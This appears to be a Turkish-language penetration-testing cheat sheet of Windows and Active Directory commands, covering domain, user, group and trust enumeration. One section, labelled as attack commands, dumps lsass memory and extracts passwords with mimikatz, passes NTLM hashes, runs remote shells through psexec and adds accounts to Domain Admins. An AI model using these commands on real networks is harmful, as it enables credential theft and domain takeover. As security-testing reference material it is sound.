net user --> Tüm yerel kullanıcılar listelenir.
net user YeniKullanici --> Belli bir yerel kullanıcının özellikleri listelenir.
net user YeniKullanici Deneme123. /add
net localgroup
net localgroup "Remote Desktop Users"
net localgroup Administrators YeniKullanici /add
net user /domain
net user YeniHesap /domain
net user YeniHesap Deneme123. /domain /add
net group /domain
net group "Domain Admins" /domain
net group "Domain Admins" YeniHesap /domain /add

Bilgisayar işlemleri
net group "Domain Computers" /domain
net group "Domain Controllers" /domain
Get-ADComputer -Filter { OperatingSystem -Like '*XP*' } -Properties OperatingSystem | Format-Table Name, OperatingSystem -Wrap -Auto

Bağlı Olunan Domain Controller
echo %LOGONSERVER%
systeminfo | findstr "Domain:"

Windows Güven İlişkileri
nltest /domain_trusts --> Tüm güven ilişkilerini listeler
nltest /dcname:Sirket --> Belli bir domaindeki PDC sunucusunu sorgular.
([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).Domains --> Forest içerisindeki tüm domain'ler listelenir.
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() --> Mevcut domain için tüm güven ilişkileri (Parent-Child, 2 yönlü vs) listelenir.


Saldırı amaçlı komutlar
net use \\<Win_IP>\C$ /user:<WORKGROUP>\Tubitak  Aa123456
psexec \\<Win_IP> -u WORKGROUP\tubitak -p Aa123456 cmd.exe
mimikatz > privilege::debug > sekurlsa::logonPasswords
wce -s WORKGROUP:Administrator:<LM>:<NTLM>

procdump -accepteula -ma lsass.exe lsass.dmp
mimikatz > sekurlsa::minidump lsass.dmp > sekurlsa::logonPasswords

net time \\<Win_IP>
at \\<Win_IP> 10:32 C:\Yeni_Klasor\Procdump_Betik.bat
@echo off
C:\Yeni_Klasor\procdump.exe -accepteula -ma lsass.exe C:\Yeni_Klasor\Hedef_LSASS.dmp

1 Ekim 2012 Pazartesi

Domainden Elde Edilebilecek Bazı Önemli Bilgiler

Domain Bilgileri

Bağlı Olunan Domain Controller
echo %LOGONSERVER%
systeminfo | findstr "Domain:"

Active Directory Üzerindeki Konum
gpresult /V | findstr CN=

Domaindeki Kullanıcılar
net user /domain

Domaindeki Gruplar
net groups /domain

Domain Yöneticileri
net group "Domain Admins" /domain

Domaindeki Makineler
net group "Domain Computers" /domain

Domain Controller Makineler
net group "Domain Controllers" /domain

Oturumunda Olunan Kullanıcının Adı
whoami
echo %computername%\%username%

Kullanıcıya Ait Tüm Bilgiler
whoami /all

Kullanıcıyı Yerel Yöneticiler Grubuna Eklemek
net localgroup Administrators ertugrul.basaranoglu /add

Domaindeki hesap politikası 
net accounts

Uzaktaki Bilgisayarın Sistemi
psinfo \\172.16.4.230 -h -s -d

Uzaktaki Bilgisayarın Komut Satırına Geçmek
psexec \\172.16.4.230 -u FENER\alex -p 1907?Fenerbahce cmd.exe -i 0

Uzaktaki Bilgisayarda çalışan prosesler
tasklist /V /S 172.16.72.129 /U FENER\alex /P 1907?Fenerbahce

Makinede Açık Olan Tüm Oturumlar
query session
qwinsta

Grup İlkesinin Güncellenmesi
gpupdate /force

Grup İlkesi
gpresult /z

Domain Yöneticilerinin Domaindeki İlke Bilgileri
for /f "delims=" %X in (DomainAdminsGrubuUyeleri_Listesi.txt) do net user %X /domain >> DomainAdminsGrubuUyelerininİlkeBilgileri.txt
Not: Tek bir kullanıcının domain ilke bilgisini elde etmek için aşağıdaki komut kullanılabilir:
          net user ertugrul.basaranoglu /domain
Not: Oturumu açılan bir kullanıcının domain ilke bilgisini elde etmek için aşağıdaki komut kullanılabilir:
          whoami /all
Not: Girdi olarak verilen liste (DomainAdminsGrubuUyeleri_Listesi.txt), Domain Yöneticilerini bulurken elde edilen kayıtların tek tek alt alta yazdırılmasıyla oluşmuştur.

Domain Yöneticilerinin Domaindeki Tüm Bilgileri
for /f "delims=" %X in (DomainUsersGrubundakiKullanicilar_Listesi.txt) do gpresult /USER %X /V >> DomainAdminsGrubuUyelerininDomaindekiTumBilgileri.txt
Not: Tek bir kullanıcının domaindeki tüm bilgilerini elde etmek için aşağıdaki komut kullanılabilir:
          gpresult /USER ertugrul.basaranoglu /Z
Not: Girdi olarak verilen liste (DomainAdminsGrubuUyeleri_Listesi.txt), Domain Yöneticilerini bulurken elde edilen kayıtların tek tek alt alta yazdırılmasıyla oluşmuştur.

Kullanıcıların Açık Olan Oturumları
for /f "delims=" %X in (DomainUsersGrubundakiKullanicilar_Listesi.txt) do PsLoggedon -l %X >> KullanicilarinAcikOlanOturumlari.txt
Not: Tek bir kullanıcının açık olan oturumunu elde etmek için aşağıdaki komut kullanılabilir:
          PsLoggedon -l ertugrul.basaranoglu
Not: Girdi olarak verilen liste (DomainUsersGrubundakiKullanicilar_Listesi.txt), Domain Kullanıcılarını bulurken elde edilen kayıtların tek tek alt alta yazdırılmasıyla oluşmuştur.
Not: Domain Controller makinesinde Security Event'lerdeki kayıtlardan tek bir kullanıcının açık olan oturumunu elde etmek için aşağıdaki power shell komutu kullanılabilir:
          Get-EventLog security 4624 -newest 10000 | Where-Object{$_.Message -like '*ertugrul.basaranoglu*'}| format-list Message

Bilgisayarlarda Oturumu Açık Olan Kullanıcılar
for /f "delims=" %X in (DomainComputersGrubundakiBilgisayarlar_Listesi.txt) do PsLoggedon -l \\%X >> BilgisayarlardaOturumuAcikKalanKullanicilar.txt
Not: Tek bir bilgisayarda açık olan kullanıcı oturumlarını elde etmek için aşağıdaki komut kullanılabilir:
          PsLoggedon -l \\TestBilgisayari
          logonsessions.exe /p
          Get-WmiObject -Class Win32_NetworkLoginProfile | Sort-Object -Property LastLogon -Descending | Select-Object -Property * -First 1 | Where-Object {$_.LastLogon -match "(\d{14})"} | Foreach-Object { New-Object PSObject -Property @{ Name=$_.Name;LastLogon=[datetime]::ParseExact($matches[0], "yyyyMMddHHmmss", $null)}}
Not: Girdi olarak verilen liste (DomainComputersGrubundakiBilgisayarlar_Listesi.txt), Domain Bilgisayarlarını bulurken elde edilen kayıtların tek tek alt alta yazdırılmasıyla oluşmuştur.

Uzak Masaüstü Protokolünü Etkinleştirme
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

Audit İlkesi
auditpol /get /category:*

Group İlkesi Arayüzü
rsop.msc

Disable Durumdaki Tüm Kullanıcılar
dsquery user "dc=fener,dc=tubitak,dc=gov,dc=tr" -disabled -limit 0 | dsget user -samid > disableduser.txt

Parolası Sona Ermeyecek Olan Tüm Kullanıcılar
Get-ADUser -Filter 'PasswordNeverExpires -eq $true' -Server localDC | select name

Domaindeki Kullanıcının Ofis, Görev vs Bilgileri
dsquery user -samid FENER\alex | dsget user -office -desc -display > AlexBilgileri.txt

NonExpired Durumdaki Tüm Kullanıcılar
dsquery * domainroot -limit 800 -filter "(&(objectClass=user) (userAccountControl>=65536))" -attr sAMAccountName userPrincipalName userAccountControl -d fener.tubitak.gov.tr
dsquery * domainroot -filter “(&(objectcategory=person)(objectclass=user)(lockoutTime=*))” -limit 0

Kullanıcıya ait oturumdaki ilk biletlerin saklandığı yerlerin kaydı
reg query "\\192.168.170.62\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit

Domaindeki gruplar ve üyeleri
dsquery group -limit 0 | dsget group -members –expand

Domaindeki Windows 2008 Sunucularının Listesi
Get-ADComputer -Filter {OperatingSystem -Like "Windows Server*2008*"} -Property * | Format-Table Name,OperatingSystem,OperatingSystemServicePack -Wrap -Auto

Domaindeki kullanıcıları oturum açma vakitlerine göre listeleme
Get-ADUser -Filter * -Properties "LastLogonDate" | sort-object -property lastlogondate -descending | Format-Table -property name, lastlogondate -AutoSize

90 gündür oturum açmamış olan kullanıcıları listeleme
Search-ADAccount -UsersOnly -AccountInactive -TimeSpan 90 | ?{$_.enabled -eq $True} | where {$ _.ObjectClass -eq 'user'} | Get-ADUser -Properties EmailAddress, DisplayName, Name, sn, lastlogondate, passwordlastset | Select EmailAddress, Name, lastlogondate, passwordlastset

Kullanıcısı olmayan grupların listelenmesi
Get-ADGroup -Filter {GroupCategory -eq 'Security'} | ?{@(Get-ADGroupMember $_).Length -eq 0}

6 aydır hesabı aktif olmayan kullanıcıları listeleme
$sixMonths = (Get-Date).AddMonths(-6)
Search-ADAccount -accountinactive -usersonly -datetime "$sixMonths"

4 haftadır aktif olmayan kullanıcıları disable etme
dsquery user "dc=pearson,dc=itcertification,dc=com" -inactive 4 | dsmod user -disabled yes

60 gündür parolasını değiştirmeyen kullanıcılar
dsquery user "dc=pearson,dc=itcertification,dc=com" -stalepwd 60 > stale.txt

Parolası sona ermeyen kullanıcılar
Get-ADUser -Filter 'PasswordNeverExpires -eq $true' -Server localDC | select name
Search-ADAccount -PasswordNeverExpires | FT Name,ObjectClass -A
Get-ADUser -filter {(Description -notlike "Service*") -and (Enabled -eq "True") -and (PasswordNeverExpires -eq "True")} -properties *) | select samaccountname,description

Domain Kullanıcıların mail adresleri
dsquery user -name "user name"|dsget user -samid -email -display
get-mailbox | fl name, emailaddresses
Get-QADUser -SizeLimit 0 -Enabled -Email * | Select-Object DisplayName,Email


İlişkili Sayfalar
http://technet.microsoft.com/en-us/library/cc722416(v=ws.10).aspx
http://www.robvanderwoude.com/ntadmincommands.php
http://ckerekes.com/dsquery.shtml
http://ss64.com/nt/dsquery-user.html
http://www.netspi.com/blog/2012/07/09/5-ways-to-find-systems-running-domain-admin-processes/
http://social.technet.microsoft.com/Forums/en-US/winserverpowershell/thread/eaff2f69-d17b-4235-9f8a-9f42840cac56/